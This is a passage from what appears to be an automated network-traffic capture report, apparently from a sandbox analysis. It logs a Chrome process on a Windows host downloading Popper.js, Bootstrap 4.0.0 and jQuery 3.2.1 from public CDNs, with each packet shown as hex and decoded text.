eners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 65 2e 6e 61 6d 65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f Data Ascii: e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}functio
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c Data Ascii: n(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 74 2c 6f 2c 69 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 Data Ascii: t,o,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50079	104.18.10.207	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:43 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:43 UTC	966	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:43 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 55ff1487c6071501927da70bb950f7b5 CDN-Cache: HIT CF-Cache-Status: HIT Age: 378752 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 90a383103f180f9f-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:43 UTC	403	IN	Data Raw: 37 62 65 64 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bed/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e Data Ascii: ine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defin
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c Data Ascii: function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isEl
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 Data Ascii: e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._des
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 Data Ascii: &p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d Data Ascii: mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 Data Ascii: l),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d Data Ascii: (!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)}
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d Data Ascii: t(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).rem
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 Data Ascii: DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collaps

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50078	151.101.130.137	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:43 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:43 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 30 Jan 2025 18:26:43 GMT Age: 2779008 X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740058-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 1 X-Timer: S1738261604.838486,VS0,VE1 Vary: Accept-Encoding
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
